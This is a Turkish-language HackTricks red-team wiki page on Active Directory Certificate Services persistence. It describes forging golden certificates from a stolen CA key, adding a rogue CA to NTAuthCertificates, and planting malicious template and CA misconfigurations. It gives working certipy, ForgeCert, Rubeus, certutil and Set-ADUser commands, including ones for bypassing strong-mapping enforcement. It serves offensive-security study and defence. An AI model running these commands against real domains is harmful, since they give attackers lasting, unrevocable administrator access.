AD CS Etki Alanı Kalıcılığı

Reading time: 8 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu, https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf içinde paylaşılan etki alanı kalıcılığı tekniklerinin bir özetidir. Daha fazla ayrıntı için inceleyin.

Forging Certificates with Stolen CA Certificates (Golden Certificate) - DPERSIST1

Bir sertifikanın CA sertifikası olduğunu nasıl anlarsınız?

Bir sertifikanın CA sertifikası olduğu şu koşullar sağlandığında belirlenebilir:

  • Sertifika CA sunucusunda saklanır; özel anahtarı makinenin DPAPI'si tarafından veya işletim sistemi destekliyorsa TPM/HSM gibi donanım tarafından korunur.
  • Sertifikanın Issuer ve Subject alanlarının her ikisi de CA'nın ayırt edici adı (distinguished name) ile eşleşir.
  • Sadece CA sertifikalarında "CA Version" uzantısı bulunur.
  • Sertifikada Extended Key Usage (EKU) alanları yoktur.

Bu sertifikanın özel anahtarını çıkarmak için, CA sunucusundaki certsrv.msc aracı, yerleşik GUI üzerinden desteklenen yöntemdir. Bununla birlikte, bu sertifika sistemde saklanan diğerlerinden farklı olmadığı için, çıkarım için THEFT2 technique gibi yöntemler uygulanabilir.

Sertifika ve özel anahtar ayrıca Certipy kullanılarak aşağıdaki komut ile elde edilebilir:

bash
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup

CA sertifikası ve özel anahtarını .pfx formatında ele geçirdikten sonra, ForgeCert gibi araçlar geçerli sertifikalar oluşturmak için kullanılabilir:

bash
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!

# Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'

# Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!

# Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128

warning

Sertifika taklidi hedeflenen kullanıcının işlemin başarılı olması için Active Directory'de aktif ve kimlik doğrulama yapabilecek durumda olması gerekir. krbtgt gibi özel hesaplar için sertifika taklidi etkisizdir.

Bu sahte sertifika belirtilen sona kadar geçerli olacak ve kök CA sertifikası geçerli olduğu sürece (genellikle 5 ila 10+ yıl) geçerliliğini koruyacaktır. Ayrıca makineler için de geçerlidir; bu nedenle S4U2Self ile birleştiğinde bir saldırgan, CA sertifikası geçerli olduğu sürece herhangi bir domain makinesinde kalıcı erişim sağlayabilir.\
Ayrıca, bu yöntemle üretilen sertifikalar CA bunların varlığından haberdar olmadığı için iptal edilemez.

Operating under Strong Certificate Mapping Enforcement (2025+)

11 Şubat 2025'ten itibaren (KB5014754 dağıtımından sonra), domain controller'lar sertifika eşlemeleri için varsayılan olarak Full Enforcement moduna geçmiştir. Pratikte bu, sahte sertifikalarınızın ya:

  • Hedef hesaba güçlü bir bağ içermesi gerektiği anlamına gelir (örneğin, SID security extension), veya
  • Hedef nesnenin altSecurityIdentities özniteliğinde güçlü, açık bir eşleme ile eşleştirilmiş olması gerektiği anlamına gelir.

Kalıcılık için güvenilir bir yaklaşım, çalınmış Enterprise CA'ya zincirlenmiş bir sahte sertifika oluşturarak ardından kurban principal'a güçlü, açık bir eşleme eklemektir:

powershell
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer  = 'DC=corp,DC=local,CN=CORP-DC-CA'           # reverse DN format expected by AD
$SerialR = '1200000000AC11000000002B'                  # serial in reversed byte order
$Map     = "X509:<I>$Issuer<SR>$SerialR"             # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}

Notlar

  • Eğer SID güvenlik uzantısını içeren sahte sertifikalar oluşturabiliyorsanız, bunlar Full Enforcement altında bile örtük olarak eşlenecektir. Aksi takdirde, açık ve güçlü eşlemeleri tercih edin. Açık eşlemeler hakkında daha fazla bilgi için account-persistence bakın.
  • Geri çağırma (revocation) burada savunmacılara yardımcı olmaz: sahte sertifikalar CA veritabanında bilinmediğinden iptal edilemez.

Rogue CA Sertifikalarına Güvenme - DPERSIST2

NTAuthCertificates nesnesi, Active Directory (AD) tarafından kullanılan cacertificate özniteliği içinde bir veya daha fazla CA sertifikası içerecek şekilde tanımlanmıştır. Etki alanı denetleyicisi tarafından yapılan doğrulama süreci, doğrulayan sertifika'nın Issuer alanında belirtilen CA ile eşleşen bir giriş için NTAuthCertificates nesnesini kontrol etmeyi içerir. Bir eşleşme bulunursa kimlik doğrulama devam eder.

Bir saldırgan, bu AD nesnesi üzerinde kontrole sahipse NTAuthCertificates nesnesine self-signed bir CA sertifikası ekleyebilir. Normalde bu nesneyi değiştirme izni yalnızca Enterprise Admin grubunun üyelerine ve ayrıca Domain Admins veya Administrators üyelerine, forest root’s domain içinde verilir. NTAuthCertificates nesnesini certutil.exe ile certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA komutunu kullanarak veya PKI Health Tool aracını kullanarak düzenleyebilirler.

Bu teknik için ek yardımcı komutlar:

bash
# Add/remove and inspect the Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
certutil -enterprise -viewstore NTAuth
certutil -enterprise -delstore NTAuth <Thumbprint>

# (Optional) publish into AD CA containers to improve chain building across the forest
certutil -dspublish -f C:\Temp\CERT.crt RootCA          # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA               # CN=AIA

Bu yetenek, ForgeCert kullanarak sertifikaları dinamik olarak oluşturmayı içeren daha önce açıklanan yöntemle birlikte kullanıldığında özellikle önemlidir.

Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in Full Enforcement, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in altSecurityIdentities). See AD CS Account Persistence.

Kötü Amaçlı Yanlış Yapılandırma - DPERSIST3

AD CS bileşenlerinin security descriptor modifications of AD CS yoluyla persistence için fırsatlar çok fazladır. "Domain Escalation" bölümünde tanımlanan değişiklikler, yükseltilmiş erişime sahip bir saldırgan tarafından kötü amaçlı olarak uygulanabilir. Bu, aşağıdaki gibi hassas bileşenlere "control rights" (ör. WriteOwner/WriteDACL/vesaire) eklenmesini içerir:

  • CA sunucusunun AD computer nesnesi
  • CA sunucusunun RPC/DCOM server
  • CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM> içinde bulunan herhangi bir descendant AD object or container (örneğin, Certificate Templates container, Certification Authorities container, NTAuthCertificates object vb.)
  • Kuruluş veya varsayılan olarak AD groups delegated rights to control AD CS (ör. yerleşik Cert Publishers grubu ve üyeleri gibi)

Zararlı bir uygulama örneği, domaine elevated permissions ile erişimi olan bir saldırganın varsayılan User sertifika şablonuna WriteOwner iznini eklemesi ve saldırganın bu hakkın principal'ı olmasıdır. Bunu suistimal etmek için saldırgan önce User şablonunun sahipliğini kendisine değiştirir. Ardından şablonda mspki-certificate-name-flag 1 olarak ayarlanarak ENROLLEE_SUPPLIES_SUBJECT etkinleştirilir ve talep sırasında bir Subject Alternative Name sağlanmasına izin verilir. Daha sonra saldırgan, template kullanarak enroll olabilir, alternatif ad olarak bir domain administrator adı seçebilir ve alınan sertifikayı DA olarak kimlik doğrulama için kullanabilir.

Uzun vadeli domain persistence için saldırganların ayarlayabileceği pratik seçenekler (tam ayrıntılar ve tespit için bkz. AD CS Domain Escalation):

  • İstekçilerin SAN sağlamasına izin veren CA politika bayrakları (ör. EDITF_ATTRIBUTESUBJECTALTNAME2'yi etkinleştirmek). Bu, ESC1-benzeri yolları kullanılabilir durumda tutar.
  • Kimlik doğrulamaya elverişli sertifika verilmesine izin veren Template DACL veya ayarları (ör. Client Authentication EKU eklemek, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT'u etkinleştirmek).
  • Savunucular temizlik yapmaya çalışırsa kötü niyetli imzalayıcıları sürekli yeniden tanıtmak için NTAuthCertificates nesnesini veya CA container'larını kontrol etmek.

tip

KB5014754 sonrası sertleştirilmiş ortamlarda, bu yanlış yapılandırmaları açık güçlü eşlemeler (altSecurityIdentities) ile eşleştirmek, DC'ler güçlü eşlemeyi uygulasa bile düzenlediğiniz veya sahtelediğiniz sertifikaların kullanılabilir kalmasını sağlar.

Referanslar

  • Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
  • Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
  • 0xdf – HTB: Certificate (SeManageVolumePrivilege to exfil CA keys → Golden Certificate)

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin